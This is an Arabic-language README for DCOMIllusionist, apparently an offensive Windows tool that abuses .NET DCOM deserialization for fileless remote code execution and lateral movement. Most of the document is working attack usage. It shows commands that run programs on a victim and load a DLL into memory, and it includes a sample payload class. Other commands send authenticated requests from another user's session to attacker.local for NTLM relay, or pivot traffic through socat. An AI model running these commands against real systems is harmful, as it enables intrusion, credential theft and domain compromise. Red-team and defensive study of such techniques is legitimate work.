
تقنيات الحركة الجانبية في الذاكرة وبدون ملفات عبر DCOM من خلال إلغاء تسلسل .Net
تقنية انتقال جانبي بدون ملفات على ويندوز.
مقدمة • بناء • استخدام • تفاصيل تقنية • شكر وتقدير
تمكّن هذه الأداة من تنفيذ تعليمات برمجية عن بُعد على جهاز ويندوز، في حال امتلاك صلاحيات إدارية. تستفيد الأداة من تقنية DCOM وسلوك خوادم .NET DCOM التي تقوم تلقائياً بإلغاء تسلسل الكائنات الواردة. مما يجعل من الممكن تنفيذ أوامر تعسفية أو تحميل مكتبات DLL دون الكتابة على القرص.
اكتُشفت هذه الطريقة في الأصل بواسطة جيمس فورشو James Forshaw كتقنية لتصعيد الصلاحيات، وتم تكييفها للانتقال الجانبي عن طريق تعديل مفاتيح تسجيل محددة عن بُعد. بالإضافة إلى ذلك، تدعم الاستغلال عبر الجلسات من خلال DCOM، مما يسمح بتنفيذ أوامر تعسفية داخل جلسة مستخدم آخر ضمن سياق الأمان الخاص بتلك الجلسة.
تعمل الأداة على محطات العمل والخوادم، ولكن يتطلب نجاح هذه التقنية وجود اتصال شبكي بين الجهاز المستهدف والجهاز الذي يتحكم به المهاجم.
مزيد من التفاصيل في هذا القسم.
يتوفر إصدار جاهز، أو يمكنك بناؤه يدوياً:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
يلزم وجود صلاحيات إدارية على كل من الجهاز المهاجم (عبر شل مرتفعة) والجهاز المستهدف لاستخدام هذه الأداة بنجاح.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help إظهار رسالة المساعدة هذه والخروج
-d, --debug تفعيل تسجيل التصحيح
-t, --target <value> تعيين اسم المضيف المستهدف أو عنوان IP
-p, --port <value> تعيين المنفذ المستهدف (الافتراضي: 49765)
--clsid <value> تحديد CLSID (بدون أقواس معقوفة)
--appid <value> تحديد AppID (بدون أقواس معقوفة)
-s, --session <value> توفير معرف جلسة
-l --listen <host> تحديد FQDN أو IP للمستمع
-g, --gadget <value> تحديد الأداة (gadget) المراد استخدامها
--attacker-sid <value> تعيين SID للمهاجم
--no-port-check تعطيل فحص توفر المنفذ
--restore-backup <path> استعادة التسجيل من نسخة احتياطية
--local-registry-only إجراء تعديلات التسجيل محلياً فقط
--remote-registry-only إجراء تعديلات التسجيل عن بُعد فقط
--skip-local-registry-setup تخطي إعداد التسجيل المحلي
--skip-remote-registry-setup تخطي إعداد التسجيل عن بُعد
--hku إجراء عمليات التسجيل عن بُعد على HKCU بدلاً من HKLM
--fake-clsid إنشاء CLSID وهمي مع AppId وهمي
الهجمات:
--ps-exec <args> تنفيذ أمر عن بُعد باستخدام PSExec
--exec <cmd> تنفيذ أمر عن بُعد
--exec-args <args> وسائط لتمريرها إلى الأمر
--curl <url> استخدام حمولة طلب ويب على نمط curl
--file-write-src <src> الملف المراد كتابته
--file-write-dst <dst> مسار الوجهة
--load-dll <path> تحميل DLL في العملية عن بُعد
--dll-class <value> الفئة في DLL المراد تنفيذها (بما في ذلك مساحة الاسم)
--dll-method <value> الطريقة الثابتة في الفئة المراد تنفيذها (الافتراضي: Run)
--yso-b64 <b64> تنفيذ حمولة ysoserial مشفرة بـ base64
--test-network التحقق من الوصول إلى الشبكة من الهدف إلى جهاز المهاجم
--list-sessions سرد الجلسات التفاعلية على الهدف
أمثلة:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (الافتراضي)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (الافتراضي)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - إعدادات التحكم بحساب المستخدم (مستخدم تفاعلي)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (مستخدم تفاعلي)
--sessionكما تم شرحه سابقاً، يمكن تحديد جلسة لتنفيذ أمر تعسفي في جلسة مستخدم آخر.
[!WARNING] يعمل هذا فقط مع AppIDs المهيأة للعمل تحت هوية المستخدم التفاعلي. يتم التعامل مع هذا تلقائياً، ليست هناك حاجة لتحديد وسيطة
--appid، حيث ستستخدم الأداة AppID المرتبطة بإعدادات التحكم بحساب المستخدم User Account Control Settings افتراضياً.
[!IMPORTANT] يعمل فقط إذا كان الجهاز المهاجم منضمًا إلى مجال، مزيد من التفاصيل هنا.
--list-sessionsسرد الجلسات التفاعلية والنشطة عن بُعد على الهدف باستخدام WTSEnumerateSessions.
--listenإذا لم يتمكن الجهاز المستهدف من الوصول مباشرةً إلى مضيف المهاجم، سيفشل الاستغلال. ومع ذلك، من الممكن تحديد جهاز وسيط يمكن للهدف الاتصال به. باستخدام أدوات مثل socat، يمكن توجيه حركة المرور من هذا الوسيط إلى مضيف المهاجم.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidعند تشغيل الاستغلال من شل runas /netonly، لا يمكن استرداد الهوية المرتبطة تلقائياً. لذلك، من الضروري توفيرها صراحةً باستخدام خيار --attacker-sid لنجاح الهجوم.
--execيمكن استخدام --exec مع --exec-args لتنفيذ برامج ثنائية تعسفية على الهدف:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-execهو مجرد غلاف لذلك، يمكن تحقيق نفس الشيء باستخدام:--ps-exec calc
--curlيمكن أن يكون curl مفيداً في سيناريوهات الاستغلال عبر الجلسات. إذا كانت لديك صلاحيات إدارية على جهاز وكان، على سبيل المثال، مسؤول مجال نشطاً في الجلسة 3، فمن الممكن بدء طلب HTTP موثَّق، باستخدام .NET فقط، نيابة عن ذلك المستخدم. من خلال توجيه هذا الطلب إلى جهاز يتحكم به المهاجم ويعمل عليه ntlmrelayx.py، يمكن تنفيذ هجمات إعادة توجيه NTLM التقليدية لاختراق المستخدم.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllمن الممكن تحميل DLL تعسفي بالكامل في الذاكرة، دون لمس القرص. على سبيل المثال:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
افتراضياً، يتم تنفيذ الطريقة الثابتة Run (بدون معاملات) للفئة المحددة. يمكن تخصيص هذا السلوك باستخدام المعامل --dll-method.
--yso-b64لتوليد أدوات متقدمة، يمكن استخدام Ysoserial.net. يمكن توفير الحمولة المشفرة بـ Base64 الناتجة مباشرةً، حيث سيتم تغليفها داخل مثيل RolePrincipal وإلغاء تسلسلها على الجهاز المستهدف.
[!WARNING] يعمل فقط مع BinaryFormatter
--test-networkتنفيذ نفس العمليات كالاستغلال العادي، ولكن مع إرسال حمولة وهمية فقط لتأكيد أن الهدف يمكنه الاتصال بجهاز المهاجم.
--hkuيمكن استغلال كل شيء من مستخدم ذي صلاحيات منخفضة باستخدام جذر التسجيل HKEY_USERS بدلاً من HKLM. يمكن استخدام هذا إذا كان المستخدم عضوًا في مجموعة Performance Log Users أو Distributed COM Users. في هذه الحالة يجب توفير --attacker-sid للوصول إلى مسار التسجيل الصحيح. كما يجب توفير CLSID قابل للكتابة (انظر --fake-clsid):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsidإنشاء CLSID و AppId وهميين. يتم تعيين الأذونات على AppId بحيث يمكن للمستخدم الحالي أو --attacker-sid تشغيل وتفعيل خادم DCOM. هذا مفيد عند إجراء الاستغلال من مستخدم ذي صلاحيات منخفضة على HKU.
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] إنشاء CLSID وهمي
[+] AppId جديد: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] CLSID جديد: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
عندما يستقبل خادم DCOM مكتوب بـ .NET كائناً، فإنه يستعلم عن واجهة DCOM IManagedObject. إذا كانت الواجهة موجودة، يقوم الخادم باستدعاء الطريقة GetSerializedBuffer. يستجيب العميل بنسخة مسلسلة من الكائن، ثم يقوم الخادم بإلغاء تسلسلها، مما يؤدي إلى تنفيذ تعليمات برمجية تعسفية. لكي ينجح هذا، يجب أن يكون للجهاز الضحية وصول شبكي مباشر إلى مضيف المهاجم (انظر --listen).
من خلال تزوير مراجع DCOM OBJREFs تعسفية، من الممكن إعادة توجيه الجهاز المستهدف إلى أي نظام عن بُعد. على سبيل المثال، يمكن استخدام socat لتوجيه حركة المرور على المنفذ 135 (ومنفذ عشوائي آخر) إلى الجهاز الفعلي الذي يتحكم به المهاجم. في إثبات المفهوم لجيمس فورشو، والذي أصبح لاحقاً أساساً لاستغلالات "Potato"، استخدم GUID الخاص بـ PointerMoniker لنقل كائنات تعسفية في OBJREFs. نجح هذا النهج في تفعيل المصادقة ولكنه فشل في الخطوات اللاحقة. باستخدام GUID للمرشد القياسي بدلاً من ذلك، يصبح من الممكن إنشاء وإرسال OBJREFs تعسفية كاملة الوظائف.
ومع ذلك، لا يتم عرض أي خوادم .NET DCOM بشكل افتراضي على إصدارات خادم ويندوز المختبرة. لتمكين التفاعل عن بُعد، يمكن تعديل سجل ويندوز عن بُعد لربط AppID مخصص مع CLSID .NET، مما يجعله قابلاً للوصول عبر DCOM. مع اختيار دقيق للـ AppID، يصبح من الممكن أيضاً تمكين الاستغلال عبر الجلسات، عبر مركب الجلسة، إذا كانت هناك جلسة تفاعلية على الجهاز المستهدف. تم اكتشاف هذا وتفصيله مرة أخرى بواسطة جيمس فورشو هنا و هنا.
لكي ينجح الاستغلال، يجب على الخادم المستهدف استرداد بيانات الكائن المسلسلة (الأداة) من الجهاز الذي يتحكم به المهاجم. وهذا يتطلب من الخادم المصادقة على مضيف المهاجم.
إذا لم يكن AppID مهيأً للعمل تحت هوية المستخدم التفاعلي، فإن محاولة المصادقة ستنشأ كـ مجهول Anonymous. للسماح بذلك، يجب تهيئة جهاز المهاجم لقبول مصادقة DCOM مجهولة عن طريق تعديل أذونات الوصول الافتراضية لـ DCOM.
عندما يكون AppID مرتبطاً بالمستخدم التفاعلي، يتم تنفيذ المصادقة باستخدام هوية المستخدم في الجلسة المحددة (عبر --session) أو، بشكل افتراضي، الجلسة 0. في هذه الحالة، يجب أن يكون جهاز المهاجم منضمًا إلى مجال لقبول مصادقة المستخدم. لهذا السبب يتم إضافة مجموعة الجميع Everyone مؤقتاً إلى أذونات الوصول الافتراضية لـ DCOM لتمكين المصادقة بنجاح.
من المهم ملاحظة أنه يتم تعديل أذونات الوصول الافتراضية فقط، بينما تبقى أذونات التشغيل والتفعيل دون تغيير. يتم التراجع عن جميع التغييرات بمجرد اكتمال العملية. إذا حدث خطأ ما، يتم إنشاء نسخة احتياطية من الإعدادات الأصلية ويمكن استعادتها.
[!CAUTION] يتم ترك جهاز المهاجم مؤقتًا في حالة أكثر سماحاً أثناء الاستغلال، ولكن يتم التراجع عن جميع التغييرات بعد ذلك.
TextFormattingRunProperties، فقد أظهر كيفية تحميل DLL تعسفي في الذاكرة. تم إعادة استخدام هذا في هجمات --curl و --file-write.